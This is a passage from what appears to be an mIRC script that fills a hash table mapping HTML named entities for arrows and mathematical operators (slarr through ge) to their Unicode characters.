  3617.   hadd %h /^slarr$/714 $chr($base(2190, 16, 10))
  3618.   hadd %h /^ShortLeftArrow$/715 $chr($base(2190, 16, 10))
  3619.   hadd %h /^uarr$/716 $chr($base(2191, 16, 10))
  3620.   hadd %h /^uparrow$/717 $chr($base(2191, 16, 10))
  3621.   hadd %h /^UpArrow$/718 $chr($base(2191, 16, 10))
  3622.   hadd %h /^ShortUpArrow$/719 $chr($base(2191, 16, 10))
  3623.   hadd %h /^rarr$/720 $chr($base(2192, 16, 10))
  3624.   hadd %h /^rightarrow$/721 $chr($base(2192, 16, 10))
  3625.   hadd %h /^RightArrow$/722 $chr($base(2192, 16, 10))
  3626.   hadd %h /^srarr$/723 $chr($base(2192, 16, 10))
  3627.   hadd %h /^ShortRightArrow$/724 $chr($base(2192, 16, 10))
  3628.   hadd %h /^darr$/725 $chr($base(2193, 16, 10))
  3629.   hadd %h /^downarrow$/726 $chr($base(2193, 16, 10))
  3630.   hadd %h /^DownArrow$/727 $chr($base(2193, 16, 10))
  3631.   hadd %h /^ShortDownArrow$/728 $chr($base(2193, 16, 10))
  3632.   hadd %h /^harr$/729 $chr($base(2194, 16, 10))
  3633.   hadd %h /^leftrightarrow$/730 $chr($base(2194, 16, 10))
  3634.   hadd %h /^LeftRightArrow$/731 $chr($base(2194, 16, 10))
  3635.   hadd %h /^varr$/732 $chr($base(2195, 16, 10))
  3636.   hadd %h /^updownarrow$/733 $chr($base(2195, 16, 10))
  3637.   hadd %h /^UpDownArrow$/734 $chr($base(2195, 16, 10))
  3638.   hadd %h /^nwarr$/735 $chr($base(2196, 16, 10))
  3639.   hadd %h /^UpperLeftArrow$/736 $chr($base(2196, 16, 10))
  3640.   hadd %h /^nwarrow$/737 $chr($base(2196, 16, 10))
  3641.   hadd %h /^nearr$/738 $chr($base(2197, 16, 10))
  3642.   hadd %h /^UpperRightArrow$/739 $chr($base(2197, 16, 10))
  3643.   hadd %h /^nearrow$/740 $chr($base(2197, 16, 10))
  3644.   hadd %h /^searr$/741 $chr($base(2198, 16, 10))
  3645.   hadd %h /^searrow$/742 $chr($base(2198, 16, 10))
  3646.   hadd %h /^LowerRightArrow$/743 $chr($base(2198, 16, 10))
  3647.   hadd %h /^swarr$/744 $chr($base(2199, 16, 10))
  3648.   hadd %h /^swarrow$/745 $chr($base(2199, 16, 10))
  3649.   hadd %h /^LowerLeftArrow$/746 $chr($base(2199, 16, 10))
  3650.   hadd %h /^nlarr$/747 $chr($base(219A, 16, 10))
  3651.   hadd %h /^nleftarrow$/748 $chr($base(219A, 16, 10))
  3652.   hadd %h /^nrarr$/749 $chr($base(219B, 16, 10))
  3653.   hadd %h /^nrightarrow$/750 $chr($base(219B, 16, 10))
  3654.   hadd %h /^rarrw$/751 $chr($base(219D, 16, 10))
  3655.   hadd %h /^rightsquigarrow$/752 $chr($base(219D, 16, 10))
  3656.   hadd %h /^nrarrw$/753 $chr($base(219D, 16, 10)) $+ $chr($base(0338, 16, 10))
  3657.   hadd %h /^Larr$/754 $chr($base(219E, 16, 10))
  3658.   hadd %h /^twoheadleftarrow$/755 $chr($base(219E, 16, 10))
  3659.   hadd %h /^Uarr$/756 $chr($base(219F, 16, 10))
  3660.   hadd %h /^Rarr$/757 $chr($base(21A0, 16, 10))
  3661.   hadd %h /^twoheadrightarrow$/758 $chr($base(21A0, 16, 10))
  3662.   hadd %h /^Darr$/759 $chr($base(21A1, 16, 10))
  3663.   hadd %h /^larrtl$/760 $chr($base(21A2, 16, 10))
  3664.   hadd %h /^leftarrowtail$/761 $chr($base(21A2, 16, 10))
  3665.   hadd %h /^rarrtl$/762 $chr($base(21A3, 16, 10))
  3666.   hadd %h /^rightarrowtail$/763 $chr($base(21A3, 16, 10))
  3667.   hadd %h /^LeftTeeArrow$/764 $chr($base(21A4, 16, 10))
  3668.   hadd %h /^mapstoleft$/765 $chr($base(21A4, 16, 10))
  3669.   hadd %h /^UpTeeArrow$/766 $chr($base(21A5, 16, 10))
  3670.   hadd %h /^mapstoup$/767 $chr($base(21A5, 16, 10))
  3671.   hadd %h /^map$/768 $chr($base(21A6, 16, 10))
  3672.   hadd %h /^RightTeeArrow$/769 $chr($base(21A6, 16, 10))
  3673.   hadd %h /^mapsto$/770 $chr($base(21A6, 16, 10))
  3674.   hadd %h /^DownTeeArrow$/771 $chr($base(21A7, 16, 10))
  3675.   hadd %h /^mapstodown$/772 $chr($base(21A7, 16, 10))
  3676.   hadd %h /^larrhk$/773 $chr($base(21A9, 16, 10))
  3677.   hadd %h /^hookleftarrow$/774 $chr($base(21A9, 16, 10))
  3678.   hadd %h /^rarrhk$/775 $chr($base(21AA, 16, 10))
  3679.   hadd %h /^hookrightarrow$/776 $chr($base(21AA, 16, 10))
  3680.   hadd %h /^larrlp$/777 $chr($base(21AB, 16, 10))
  3681.   hadd %h /^looparrowleft$/778 $chr($base(21AB, 16, 10))
  3682.   hadd %h /^rarrlp$/779 $chr($base(21AC, 16, 10))
  3683.   hadd %h /^looparrowright$/780 $chr($base(21AC, 16, 10))
  3684.   hadd %h /^harrw$/781 $chr($base(21AD, 16, 10))
  3685.   hadd %h /^leftrightsquigarrow$/782 $chr($base(21AD, 16, 10))
  3686.   hadd %h /^nharr$/783 $chr($base(21AE, 16, 10))
  3687.   hadd %h /^nleftrightarrow$/784 $chr($base(21AE, 16, 10))
  3688.   hadd %h /^lsh$/785 $chr($base(21B0, 16, 10))
  3689.   hadd %h /^Lsh$/786 $chr($base(21B0, 16, 10))
  3690.   hadd %h /^rsh$/787 $chr($base(21B1, 16, 10))
  3691.   hadd %h /^Rsh$/788 $chr($base(21B1, 16, 10))
  3692.   hadd %h /^ldsh$/789 $chr($base(21B2, 16, 10))
  3693.   hadd %h /^rdsh$/790 $chr($base(21B3, 16, 10))
  3694.   hadd %h /^crarr$/791 $chr($base(21B5, 16, 10))
  3695.   hadd %h /^cularr$/792 $chr($base(21B6, 16, 10))
  3696.   hadd %h /^curvearrowleft$/793 $chr($base(21B6, 16, 10))
  3697.   hadd %h /^curarr$/794 $chr($base(21B7, 16, 10))
  3698.   hadd %h /^curvearrowright$/795 $chr($base(21B7, 16, 10))
  3699.   hadd %h /^olarr$/796 $chr($base(21BA, 16, 10))
  3700.   hadd %h /^circlearrowleft$/797 $chr($base(21BA, 16, 10))
  3701.   hadd %h /^orarr$/798 $chr($base(21BB, 16, 10))
  3702.   hadd %h /^circlearrowright$/799 $chr($base(21BB, 16, 10))
  3703.   hadd %h /^lharu$/800 $chr($base(21BC, 16, 10))
  3704.   hadd %h /^LeftVector$/801 $chr($base(21BC, 16, 10))
  3705.   hadd %h /^leftharpoonup$/802 $chr($base(21BC, 16, 10))
  3706.   hadd %h /^lhard$/803 $chr($base(21BD, 16, 10))
  3707.   hadd %h /^leftharpoondown$/804 $chr($base(21BD, 16, 10))
  3708.   hadd %h /^DownLeftVector$/805 $chr($base(21BD, 16, 10))
  3709.   hadd %h /^uharr$/806 $chr($base(21BE, 16, 10))
  3710.   hadd %h /^upharpoonright$/807 $chr($base(21BE, 16, 10))
  3711.   hadd %h /^RightUpVector$/808 $chr($base(21BE, 16, 10))
  3712.   hadd %h /^uharl$/809 $chr($base(21BF, 16, 10))
  3713.   hadd %h /^upharpoonleft$/810 $chr($base(21BF, 16, 10))
  3714.   hadd %h /^LeftUpVector$/811 $chr($base(21BF, 16, 10))
  3715.   hadd %h /^rharu$/812 $chr($base(21C0, 16, 10))
  3716.   hadd %h /^RightVector$/813 $chr($base(21C0, 16, 10))
  3717.   hadd %h /^rightharpoonup$/814 $chr($base(21C0, 16, 10))
  3718.   hadd %h /^rhard$/815 $chr($base(21C1, 16, 10))
  3719.   hadd %h /^rightharpoondown$/816 $chr($base(21C1, 16, 10))
  3720.   hadd %h /^DownRightVector$/817 $chr($base(21C1, 16, 10))
  3721.   hadd %h /^dharr$/818 $chr($base(21C2, 16, 10))
  3722.   hadd %h /^RightDownVector$/819 $chr($base(21C2, 16, 10))
  3723.   hadd %h /^downharpoonright$/820 $chr($base(21C2, 16, 10))
  3724.   hadd %h /^dharl$/821 $chr($base(21C3, 16, 10))
  3725.   hadd %h /^LeftDownVector$/822 $chr($base(21C3, 16, 10))
  3726.   hadd %h /^downharpoonleft$/823 $chr($base(21C3, 16, 10))
  3727.   hadd %h /^rlarr$/824 $chr($base(21C4, 16, 10))
  3728.   hadd %h /^rightleftarrows$/825 $chr($base(21C4, 16, 10))
  3729.   hadd %h /^RightArrowLeftArrow$/826 $chr($base(21C4, 16, 10))
  3730.   hadd %h /^udarr$/827 $chr($base(21C5, 16, 10))
  3731.   hadd %h /^UpArrowDownArrow$/828 $chr($base(21C5, 16, 10))
  3732.   hadd %h /^lrarr$/829 $chr($base(21C6, 16, 10))
  3733.   hadd %h /^leftrightarrows$/830 $chr($base(21C6, 16, 10))
  3734.   hadd %h /^LeftArrowRightArrow$/831 $chr($base(21C6, 16, 10))
  3735.   hadd %h /^llarr$/832 $chr($base(21C7, 16, 10))
  3736.   hadd %h /^leftleftarrows$/833 $chr($base(21C7, 16, 10))
  3737.   hadd %h /^uuarr$/834 $chr($base(21C8, 16, 10))
  3738.   hadd %h /^upuparrows$/835 $chr($base(21C8, 16, 10))
  3739.   hadd %h /^rrarr$/836 $chr($base(21C9, 16, 10))
  3740.   hadd %h /^rightrightarrows$/837 $chr($base(21C9, 16, 10))
  3741.   hadd %h /^ddarr$/838 $chr($base(21CA, 16, 10))
  3742.   hadd %h /^downdownarrows$/839 $chr($base(21CA, 16, 10))
  3743.   hadd %h /^lrhar$/840 $chr($base(21CB, 16, 10))
  3744.   hadd %h /^ReverseEquilibrium$/841 $chr($base(21CB, 16, 10))
  3745.   hadd %h /^leftrightharpoons$/842 $chr($base(21CB, 16, 10))
  3746.   hadd %h /^rlhar$/843 $chr($base(21CC, 16, 10))
  3747.   hadd %h /^rightleftharpoons$/844 $chr($base(21CC, 16, 10))
  3748.   hadd %h /^Equilibrium$/845 $chr($base(21CC, 16, 10))
  3749.   hadd %h /^nlArr$/846 $chr($base(21CD, 16, 10))
  3750.   hadd %h /^nLeftarrow$/847 $chr($base(21CD, 16, 10))
  3751.   hadd %h /^nhArr$/848 $chr($base(21CE, 16, 10))
  3752.   hadd %h /^nLeftrightarrow$/849 $chr($base(21CE, 16, 10))
  3753.   hadd %h /^nrArr$/850 $chr($base(21CF, 16, 10))
  3754.   hadd %h /^nRightarrow$/851 $chr($base(21CF, 16, 10))
  3755.   hadd %h /^lArr$/852 $chr($base(21D0, 16, 10))
  3756.   hadd %h /^Leftarrow$/853 $chr($base(21D0, 16, 10))
  3757.   hadd %h /^DoubleLeftArrow$/854 $chr($base(21D0, 16, 10))
  3758.   hadd %h /^uArr$/855 $chr($base(21D1, 16, 10))
  3759.   hadd %h /^Uparrow$/856 $chr($base(21D1, 16, 10))
  3760.   hadd %h /^DoubleUpArrow$/857 $chr($base(21D1, 16, 10))
  3761.   hadd %h /^rArr$/858 $chr($base(21D2, 16, 10))
  3762.   hadd %h /^Rightarrow$/859 $chr($base(21D2, 16, 10))
  3763.   hadd %h /^Implies$/860 $chr($base(21D2, 16, 10))
  3764.   hadd %h /^DoubleRightArrow$/861 $chr($base(21D2, 16, 10))
  3765.   hadd %h /^dArr$/862 $chr($base(21D3, 16, 10))
  3766.   hadd %h /^Downarrow$/863 $chr($base(21D3, 16, 10))
  3767.   hadd %h /^DoubleDownArrow$/864 $chr($base(21D3, 16, 10))
  3768.   hadd %h /^hArr$/865 $chr($base(21D4, 16, 10))
  3769.   hadd %h /^Leftrightarrow$/866 $chr($base(21D4, 16, 10))
  3770.   hadd %h /^DoubleLeftRightArrow$/867 $chr($base(21D4, 16, 10))
  3771.   hadd %h /^iff$/868 $chr($base(21D4, 16, 10))
  3772.   hadd %h /^vArr$/869 $chr($base(21D5, 16, 10))
  3773.   hadd %h /^Updownarrow$/870 $chr($base(21D5, 16, 10))
  3774.   hadd %h /^DoubleUpDownArrow$/871 $chr($base(21D5, 16, 10))
  3775.   hadd %h /^nwArr$/872 $chr($base(21D6, 16, 10))
  3776.   hadd %h /^neArr$/873 $chr($base(21D7, 16, 10))
  3777.   hadd %h /^seArr$/874 $chr($base(21D8, 16, 10))
  3778.   hadd %h /^swArr$/875 $chr($base(21D9, 16, 10))
  3779.   hadd %h /^lAarr$/876 $chr($base(21DA, 16, 10))
  3780.   hadd %h /^Lleftarrow$/877 $chr($base(21DA, 16, 10))
  3781.   hadd %h /^rAarr$/878 $chr($base(21DB, 16, 10))
  3782.   hadd %h /^Rrightarrow$/879 $chr($base(21DB, 16, 10))
  3783.   hadd %h /^zigrarr$/880 $chr($base(21DD, 16, 10))
  3784.   hadd %h /^larrb$/881 $chr($base(21E4, 16, 10))
  3785.   hadd %h /^LeftArrowBar$/882 $chr($base(21E4, 16, 10))
  3786.   hadd %h /^rarrb$/883 $chr($base(21E5, 16, 10))
  3787.   hadd %h /^RightArrowBar$/884 $chr($base(21E5, 16, 10))
  3788.   hadd %h /^duarr$/885 $chr($base(21F5, 16, 10))
  3789.   hadd %h /^DownArrowUpArrow$/886 $chr($base(21F5, 16, 10))
  3790.   hadd %h /^loarr$/887 $chr($base(21FD, 16, 10))
  3791.   hadd %h /^roarr$/888 $chr($base(21FE, 16, 10))
  3792.   hadd %h /^hoarr$/889 $chr($base(21FF, 16, 10))
  3793.   hadd %h /^forall$/890 $chr($base(2200, 16, 10))
  3794.   hadd %h /^ForAll$/891 $chr($base(2200, 16, 10))
  3795.   hadd %h /^comp$/892 $chr($base(2201, 16, 10))
  3796.   hadd %h /^complement$/893 $chr($base(2201, 16, 10))
  3797.   hadd %h /^part$/894 $chr($base(2202, 16, 10))
  3798.   hadd %h /^PartialD$/895 $chr($base(2202, 16, 10))
  3799.   hadd %h /^npart$/896 $chr($base(2202, 16, 10)) $+ $chr($base(0338, 16, 10))
  3800.   hadd %h /^exist$/897 $chr($base(2203, 16, 10))
  3801.   hadd %h /^Exists$/898 $chr($base(2203, 16, 10))
  3802.   hadd %h /^nexist$/899 $chr($base(2204, 16, 10))
  3803.   hadd %h /^NotExists$/900 $chr($base(2204, 16, 10))
  3804.   hadd %h /^nexists$/901 $chr($base(2204, 16, 10))
  3805.   hadd %h /^empty$/902 $chr($base(2205, 16, 10))
  3806.   hadd %h /^emptyset$/903 $chr($base(2205, 16, 10))
  3807.   hadd %h /^emptyv$/904 $chr($base(2205, 16, 10))
  3808.   hadd %h /^varnothing$/905 $chr($base(2205, 16, 10))
  3809.   hadd %h /^nabla$/906 $chr($base(2207, 16, 10))
  3810.   hadd %h /^Del$/907 $chr($base(2207, 16, 10))
  3811.   hadd %h /^isin$/908 $chr($base(2208, 16, 10))
  3812.   hadd %h /^isinv$/909 $chr($base(2208, 16, 10))
  3813.   hadd %h /^Element$/910 $chr($base(2208, 16, 10))
  3814.   hadd %h /^in$/911 $chr($base(2208, 16, 10))
  3815.   hadd %h /^notin$/912 $chr($base(2209, 16, 10))
  3816.   hadd %h /^NotElement$/913 $chr($base(2209, 16, 10))
  3817.   hadd %h /^notinva$/914 $chr($base(2209, 16, 10))
  3818.   hadd %h /^niv$/915 $chr($base(220B, 16, 10))
  3819.   hadd %h /^ReverseElement$/916 $chr($base(220B, 16, 10))
  3820.   hadd %h /^ni$/917 $chr($base(220B, 16, 10))
  3821.   hadd %h /^SuchThat$/918 $chr($base(220B, 16, 10))
  3822.   hadd %h /^notni$/919 $chr($base(220C, 16, 10))
  3823.   hadd %h /^notniva$/920 $chr($base(220C, 16, 10))
  3824.   hadd %h /^NotReverseElement$/921 $chr($base(220C, 16, 10))
  3825.   hadd %h /^prod$/922 $chr($base(220F, 16, 10))
  3826.   hadd %h /^Product$/923 $chr($base(220F, 16, 10))
  3827.   hadd %h /^coprod$/924 $chr($base(2210, 16, 10))
  3828.   hadd %h /^Coproduct$/925 $chr($base(2210, 16, 10))
  3829.   hadd %h /^sum$/926 $chr($base(2211, 16, 10))
  3830.   hadd %h /^Sum$/927 $chr($base(2211, 16, 10))
  3831.   hadd %h /^minus$/928 $chr($base(2212, 16, 10))
  3832.   hadd %h /^mnplus$/929 $chr($base(2213, 16, 10))
  3833.   hadd %h /^mp$/930 $chr($base(2213, 16, 10))
  3834.   hadd %h /^MinusPlus$/931 $chr($base(2213, 16, 10))
  3835.   hadd %h /^plusdo$/932 $chr($base(2214, 16, 10))
  3836.   hadd %h /^dotplus$/933 $chr($base(2214, 16, 10))
  3837.   hadd %h /^setmn$/934 $chr($base(2216, 16, 10))
  3838.   hadd %h /^setminus$/935 $chr($base(2216, 16, 10))
  3839.   hadd %h /^Backslash$/936 $chr($base(2216, 16, 10))
  3840.   hadd %h /^ssetmn$/937 $chr($base(2216, 16, 10))
  3841.   hadd %h /^smallsetminus$/938 $chr($base(2216, 16, 10))
  3842.   hadd %h /^lowast$/939 $chr($base(2217, 16, 10))
  3843.   hadd %h /^compfn$/940 $chr($base(2218, 16, 10))
  3844.   hadd %h /^SmallCircle$/941 $chr($base(2218, 16, 10))
  3845.   hadd %h /^radic$/942 $chr($base(221A, 16, 10))
  3846.   hadd %h /^Sqrt$/943 $chr($base(221A, 16, 10))
  3847.   hadd %h /^prop$/944 $chr($base(221D, 16, 10))
  3848.   hadd %h /^propto$/945 $chr($base(221D, 16, 10))
  3849.   hadd %h /^Proportional$/946 $chr($base(221D, 16, 10))
  3850.   hadd %h /^vprop$/947 $chr($base(221D, 16, 10))
  3851.   hadd %h /^varpropto$/948 $chr($base(221D, 16, 10))
  3852.   hadd %h /^infin$/949 $chr($base(221E, 16, 10))
  3853.   hadd %h /^angrt$/950 $chr($base(221F, 16, 10))
  3854.   hadd %h /^ang$/951 $chr($base(2220, 16, 10))
  3855.   hadd %h /^angle$/952 $chr($base(2220, 16, 10))
  3856.   hadd %h /^nang$/953 $chr($base(2220, 16, 10)) $+ $chr($base(20D2, 16, 10))
  3857.   hadd %h /^angmsd$/954 $chr($base(2221, 16, 10))
  3858.   hadd %h /^measuredangle$/955 $chr($base(2221, 16, 10))
  3859.   hadd %h /^angsph$/956 $chr($base(2222, 16, 10))
  3860.   hadd %h /^mid$/957 $chr($base(2223, 16, 10))
  3861.   hadd %h /^VerticalBar$/958 $chr($base(2223, 16, 10))
  3862.   hadd %h /^smid$/959 $chr($base(2223, 16, 10))
  3863.   hadd %h /^shortmid$/960 $chr($base(2223, 16, 10))
  3864.   hadd %h /^nmid$/961 $chr($base(2224, 16, 10))
  3865.   hadd %h /^NotVerticalBar$/962 $chr($base(2224, 16, 10))
  3866.   hadd %h /^nsmid$/963 $chr($base(2224, 16, 10))
  3867.   hadd %h /^nshortmid$/964 $chr($base(2224, 16, 10))
  3868.   hadd %h /^par$/965 $chr($base(2225, 16, 10))
  3869.   hadd %h /^parallel$/966 $chr($base(2225, 16, 10))
  3870.   hadd %h /^DoubleVerticalBar$/967 $chr($base(2225, 16, 10))
  3871.   hadd %h /^spar$/968 $chr($base(2225, 16, 10))
  3872.   hadd %h /^shortparallel$/969 $chr($base(2225, 16, 10))
  3873.   hadd %h /^npar$/970 $chr($base(2226, 16, 10))
  3874.   hadd %h /^nparallel$/971 $chr($base(2226, 16, 10))
  3875.   hadd %h /^NotDoubleVerticalBar$/972 $chr($base(2226, 16, 10))
  3876.   hadd %h /^nspar$/973 $chr($base(2226, 16, 10))
  3877.   hadd %h /^nshortparallel$/974 $chr($base(2226, 16, 10))
  3878.   hadd %h /^and$/975 $chr($base(2227, 16, 10))
  3879.   hadd %h /^wedge$/976 $chr($base(2227, 16, 10))
  3880.   hadd %h /^or$/977 $chr($base(2228, 16, 10))
  3881.   hadd %h /^vee$/978 $chr($base(2228, 16, 10))
  3882.   hadd %h /^cap$/979 $chr($base(2229, 16, 10))
  3883.   hadd %h /^caps$/980 $chr($base(2229, 16, 10)) $+ $chr($base(FE00, 16, 10))
  3884.   hadd %h /^cup$/981 $chr($base(222A, 16, 10))
  3885.   hadd %h /^cups$/982 $chr($base(222A, 16, 10)) $+ $chr($base(FE00, 16, 10))
  3886.   hadd %h /^int$/983 $chr($base(222B, 16, 10))
  3887.   hadd %h /^Integral$/984 $chr($base(222B, 16, 10))
  3888.   hadd %h /^Int$/985 $chr($base(222C, 16, 10))
  3889.   hadd %h /^tint$/986 $chr($base(222D, 16, 10))
  3890.   hadd %h /^iiint$/987 $chr($base(222D, 16, 10))
  3891.   hadd %h /^conint$/988 $chr($base(222E, 16, 10))
  3892.   hadd %h /^oint$/989 $chr($base(222E, 16, 10))
  3893.   hadd %h /^ContourIntegral$/990 $chr($base(222E, 16, 10))
  3894.   hadd %h /^Conint$/991 $chr($base(222F, 16, 10))
  3895.   hadd %h /^DoubleContourIntegral$/992 $chr($base(222F, 16, 10))
  3896.   hadd %h /^Cconint$/993 $chr($base(2230, 16, 10))
  3897.   hadd %h /^cwint$/994 $chr($base(2231, 16, 10))
  3898.   hadd %h /^cwconint$/995 $chr($base(2232, 16, 10))
  3899.   hadd %h /^ClockwiseContourIntegral$/996 $chr($base(2232, 16, 10))
  3900.   hadd %h /^awconint$/997 $chr($base(2233, 16, 10))
  3901.   hadd %h /^CounterClockwiseContourIntegral$/998 $chr($base(2233, 16, 10))
  3902.   hadd %h /^there4$/999 $chr($base(2234, 16, 10))
  3903.   hadd %h /^therefore$/1000 $chr($base(2234, 16, 10))
  3904.   hadd %h /^Therefore$/1001 $chr($base(2234, 16, 10))
  3905.   hadd %h /^becaus$/1002 $chr($base(2235, 16, 10))
  3906.   hadd %h /^because$/1003 $chr($base(2235, 16, 10))
  3907.   hadd %h /^Because$/1004 $chr($base(2235, 16, 10))
  3908.   hadd %h /^ratio$/1005 $chr($base(2236, 16, 10))
  3909.   hadd %h /^Colon$/1006 $chr($base(2237, 16, 10))
  3910.   hadd %h /^Proportion$/1007 $chr($base(2237, 16, 10))
  3911.   hadd %h /^minusd$/1008 $chr($base(2238, 16, 10))
  3912.   hadd %h /^dotminus$/1009 $chr($base(2238, 16, 10))
  3913.   hadd %h /^mDDot$/1010 $chr($base(223A, 16, 10))
  3914.   hadd %h /^homtht$/1011 $chr($base(223B, 16, 10))
  3915.   hadd %h /^sim$/1012 $chr($base(223C, 16, 10))
  3916.   hadd %h /^Tilde$/1013 $chr($base(223C, 16, 10))
  3917.   hadd %h /^thksim$/1014 $chr($base(223C, 16, 10))
  3918.   hadd %h /^thicksim$/1015 $chr($base(223C, 16, 10))
  3919.   hadd %h /^nvsim$/1016 $chr($base(223C, 16, 10)) $+ $chr($base(20D2, 16, 10))
  3920.   hadd %h /^bsim$/1017 $chr($base(223D, 16, 10))
  3921.   hadd %h /^backsim$/1018 $chr($base(223D, 16, 10))
  3922.   hadd %h /^race$/1019 $chr($base(223D, 16, 10)) $+ $chr($base(0331, 16, 10))
  3923.   hadd %h /^ac$/1020 $chr($base(223E, 16, 10))
  3924.   hadd %h /^mstpos$/1021 $chr($base(223E, 16, 10))
  3925.   hadd %h /^acE$/1022 $chr($base(223E, 16, 10)) $+ $chr($base(0333, 16, 10))
  3926.   hadd %h /^acd$/1023 $chr($base(223F, 16, 10))
  3927.   hadd %h /^wreath$/1024 $chr($base(2240, 16, 10))
  3928.   hadd %h /^VerticalTilde$/1025 $chr($base(2240, 16, 10))
  3929.   hadd %h /^wr$/1026 $chr($base(2240, 16, 10))
  3930.   hadd %h /^nsim$/1027 $chr($base(2241, 16, 10))
  3931.   hadd %h /^NotTilde$/1028 $chr($base(2241, 16, 10))
  3932.   hadd %h /^esim$/1029 $chr($base(2242, 16, 10))
  3933.   hadd %h /^EqualTilde$/1030 $chr($base(2242, 16, 10))
  3934.   hadd %h /^eqsim$/1031 $chr($base(2242, 16, 10))
  3935.   hadd %h /^NotEqualTilde$/1032 $chr($base(2242, 16, 10)) $+ $chr($base(0338, 16, 10))
  3936.   hadd %h /^nesim$/1033 $chr($base(2242, 16, 10)) $+ $chr($base(0338, 16, 10))
  3937.   hadd %h /^sime$/1034 $chr($base(2243, 16, 10))
  3938.   hadd %h /^TildeEqual$/1035 $chr($base(2243, 16, 10))
  3939.   hadd %h /^simeq$/1036 $chr($base(2243, 16, 10))
  3940.   hadd %h /^nsime$/1037 $chr($base(2244, 16, 10))
  3941.   hadd %h /^nsimeq$/1038 $chr($base(2244, 16, 10))
  3942.   hadd %h /^NotTildeEqual$/1039 $chr($base(2244, 16, 10))
  3943.   hadd %h /^cong$/1040 $chr($base(2245, 16, 10))
  3944.   hadd %h /^TildeFullEqual$/1041 $chr($base(2245, 16, 10))
  3945.   hadd %h /^simne$/1042 $chr($base(2246, 16, 10))
  3946.   hadd %h /^ncong$/1043 $chr($base(2247, 16, 10))
  3947.   hadd %h /^NotTildeFullEqual$/1044 $chr($base(2247, 16, 10))
  3948.   hadd %h /^asymp$/1045 $chr($base(2248, 16, 10))
  3949.   hadd %h /^ap$/1046 $chr($base(2248, 16, 10))
  3950.   hadd %h /^TildeTilde$/1047 $chr($base(2248, 16, 10))
  3951.   hadd %h /^approx$/1048 $chr($base(2248, 16, 10))
  3952.   hadd %h /^thkap$/1049 $chr($base(2248, 16, 10))
  3953.   hadd %h /^thickapprox$/1050 $chr($base(2248, 16, 10))
  3954.   hadd %h /^nap$/1051 $chr($base(2249, 16, 10))
  3955.   hadd %h /^NotTildeTilde$/1052 $chr($base(2249, 16, 10))
  3956.   hadd %h /^napprox$/1053 $chr($base(2249, 16, 10))
  3957.   hadd %h /^ape$/1054 $chr($base(224A, 16, 10))
  3958.   hadd %h /^approxeq$/1055 $chr($base(224A, 16, 10))
  3959.   hadd %h /^apid$/1056 $chr($base(224B, 16, 10))
  3960.   hadd %h /^napid$/1057 $chr($base(224B, 16, 10)) $+ $chr($base(0338, 16, 10))
  3961.   hadd %h /^bcong$/1058 $chr($base(224C, 16, 10))
  3962.   hadd %h /^backcong$/1059 $chr($base(224C, 16, 10))
  3963.   hadd %h /^asympeq$/1060 $chr($base(224D, 16, 10))
  3964.   hadd %h /^CupCap$/1061 $chr($base(224D, 16, 10))
  3965.   hadd %h /^nvap$/1062 $chr($base(224D, 16, 10)) $+ $chr($base(20D2, 16, 10))
  3966.   hadd %h /^bump$/1063 $chr($base(224E, 16, 10))
  3967.   hadd %h /^HumpDownHump$/1064 $chr($base(224E, 16, 10))
  3968.   hadd %h /^Bumpeq$/1065 $chr($base(224E, 16, 10))
  3969.   hadd %h /^NotHumpDownHump$/1066 $chr($base(224E, 16, 10)) $+ $chr($base(0338, 16, 10))
  3970.   hadd %h /^nbump$/1067 $chr($base(224E, 16, 10)) $+ $chr($base(0338, 16, 10))
  3971.   hadd %h /^bumpe$/1068 $chr($base(224F, 16, 10))
  3972.   hadd %h /^HumpEqual$/1069 $chr($base(224F, 16, 10))
  3973.   hadd %h /^bumpeq$/1070 $chr($base(224F, 16, 10))
  3974.   hadd %h /^nbumpe$/1071 $chr($base(224F, 16, 10)) $+ $chr($base(0338, 16, 10))
  3975.   hadd %h /^NotHumpEqual$/1072 $chr($base(224F, 16, 10)) $+ $chr($base(0338, 16, 10))
  3976.   hadd %h /^esdot$/1073 $chr($base(2250, 16, 10))
  3977.   hadd %h /^DotEqual$/1074 $chr($base(2250, 16, 10))
  3978.   hadd %h /^doteq$/1075 $chr($base(2250, 16, 10))
  3979.   hadd %h /^nedot$/1076 $chr($base(2250, 16, 10)) $+ $chr($base(0338, 16, 10))
  3980.   hadd %h /^eDot$/1077 $chr($base(2251, 16, 10))
  3981.   hadd %h /^doteqdot$/1078 $chr($base(2251, 16, 10))
  3982.   hadd %h /^efDot$/1079 $chr($base(2252, 16, 10))
  3983.   hadd %h /^fallingdotseq$/1080 $chr($base(2252, 16, 10))
  3984.   hadd %h /^erDot$/1081 $chr($base(2253, 16, 10))
  3985.   hadd %h /^risingdotseq$/1082 $chr($base(2253, 16, 10))
  3986.   hadd %h /^colone$/1083 $chr($base(2254, 16, 10))
  3987.   hadd %h /^coloneq$/1084 $chr($base(2254, 16, 10))
  3988.   hadd %h /^Assign$/1085 $chr($base(2254, 16, 10))
  3989.   hadd %h /^ecolon$/1086 $chr($base(2255, 16, 10))
  3990.   hadd %h /^eqcolon$/1087 $chr($base(2255, 16, 10))
  3991.   hadd %h /^ecir$/1088 $chr($base(2256, 16, 10))
  3992.   hadd %h /^eqcirc$/1089 $chr($base(2256, 16, 10))
  3993.   hadd %h /^cire$/1090 $chr($base(2257, 16, 10))
  3994.   hadd %h /^circeq$/1091 $chr($base(2257, 16, 10))
  3995.   hadd %h /^wedgeq$/1092 $chr($base(2259, 16, 10))
  3996.   hadd %h /^veeeq$/1093 $chr($base(225A, 16, 10))
  3997.   hadd %h /^trie$/1094 $chr($base(225C, 16, 10))
  3998.   hadd %h /^triangleq$/1095 $chr($base(225C, 16, 10))
  3999.   hadd %h /^equest$/1096 $chr($base(225F, 16, 10))
  4000.   hadd %h /^questeq$/1097 $chr($base(225F, 16, 10))
  4001.   hadd %h /^ne$/1098 $chr($base(2260, 16, 10))
  4002.   hadd %h /^NotEqual$/1099 $chr($base(2260, 16, 10))
  4003.   hadd %h /^equiv$/1100 $chr($base(2261, 16, 10))
  4004.   hadd %h /^Congruent$/1101 $chr($base(2261, 16, 10))
  4005.   hadd %h /^bnequiv$/1102 $chr($base(2261, 16, 10)) $+ $chr($base(20E5, 16, 10))
  4006.   hadd %h /^nequiv$/1103 $chr($base(2262, 16, 10))
  4007.   hadd %h /^NotCongruent$/1104 $chr($base(2262, 16, 10))
  4008.   hadd %h /^le$/1105 $chr($base(2264, 16, 10))
  4009.   hadd %h /^leq$/1106 $chr($base(2264, 16, 10))
  4010.   hadd %h /^nvle$/1107 $chr($base(2264, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4011.   hadd %h /^ge$/1108 $chr($base(2265, 16, 10))
